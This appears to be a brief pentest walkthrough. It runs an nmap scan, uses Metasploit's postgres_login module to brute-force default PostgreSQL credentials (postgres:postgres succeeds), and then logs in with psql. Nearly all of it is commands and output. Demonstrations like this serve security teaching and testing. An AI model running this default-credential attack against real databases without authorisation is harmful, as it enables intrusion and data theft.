control – metasploit postgresql login utility

root@bt:~# nmap -sV -p 22,5432 --open Remote-IP-Address

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-10-05 15:46 BST
Nmap scan report for Remote-IP-Address
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

MAC Address: 01:02:03:04:05:06 (Micky Systems)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds

msf > search PostgreSQL

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query
auxiliary/admin/postgres/postgres_sql normal PostgreSQL Server Generic Query
auxiliary/scanner/postgres/postgres_login normal PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres_version normal PostgreSQL Version Probe
exploit/windows/postgres/postgres_payload 2009-04-10 00:00:00 UTC excellent PostgreSQL for Microsoft Windows Payload Execution

msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > set rhosts Remote-IP-Address
msf auxiliary(postgres_login) > exploit

[*] Remote-IP-Address:5432 Postgres - [01/21] - Trying username:'postgres' with password:'' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'postgres':''
[-] Remote-IP-Address:5432 Postgres - [01/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [02/21] - Trying username:'' with password:'' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: '':''
[-] Remote-IP-Address:5432 Postgres - [02/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [03/21] - Trying username:'scott' with password:'' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':''
[-] Remote-IP-Address:5432 Postgres - [03/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [04/21] - Trying username:'admin' with password:'' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'admin':''
[-] Remote-IP-Address:5432 Postgres - [04/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [05/21] - Trying username:'postgres' with password:'postgres' on database 'template1'
[+] Remote-IP-Address:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'

[+] Remote-IP-Address:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.)

[*] Remote-IP-Address:5432 Postgres - Disconnected
[*] Remote-IP-Address:5432 Postgres - [06/21] - Trying username:'scott' with password:'scott' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':'scott'
[-] Remote-IP-Address:5432 Postgres - [06/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [07/21] - Trying username:'admin' with password:'admin' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'admin':'admin'
[-] Remote-IP-Address:5432 Postgres - [07/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [08/21] - Trying username:'admin' with password:'password' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'admin':'password'
[-] Remote-IP-Address:5432 Postgres - [08/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [09/21] - Trying username:'' with password:'tiger' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: '':'tiger'
[-] Remote-IP-Address:5432 Postgres - [09/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [10/21] - Trying username:'' with password:'postgres' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: '':'postgres'
[-] Remote-IP-Address:5432 Postgres - [10/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [11/21] - Trying username:'' with password:'password' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: '':'password'
[-] Remote-IP-Address:5432 Postgres - [11/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [12/21] - Trying username:'' with password:'admin' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: '':'admin'
[-] Remote-IP-Address:5432 Postgres - [12/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [13/21] - Trying username:'scott' with password:'tiger' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':'tiger'
[-] Remote-IP-Address:5432 Postgres - [13/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [14/21] - Trying username:'scott' with password:'postgres' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':'postgres'
[-] Remote-IP-Address:5432 Postgres - [14/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [15/21] - Trying username:'scott' with password:'password' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':'password'
[-] Remote-IP-Address:5432 Postgres - [15/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [16/21] - Trying username:'scott' with password:'admin' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'scott':'admin'
[-] Remote-IP-Address:5432 Postgres - [16/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [17/21] - Trying username:'admin' with password:'tiger' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'admin':'tiger'
[-] Remote-IP-Address:5432 Postgres - [17/21] - Username/Password failed.
[*] Remote-IP-Address:5432 Postgres - [18/21] - Trying username:'admin' with password:'postgres' on database 'template1'
[-] Remote-IP-Address:5432 Postgres - Invalid username or password: 'admin':'postgres'
[-] Remote-IP-Address:5432 Postgres - [18/21] - Username/Password failed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(postgres_login) >

root@bt:~# psql -h Remote-IP-Address -U postgres -W
Password for user postgres: postgres
psql (8.4.8, server 8.3.1)
WARNING: psql version 8.4, server version 8.3.
Some psql features might not work.
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type "help" for help.

postgres=#

Leave a comment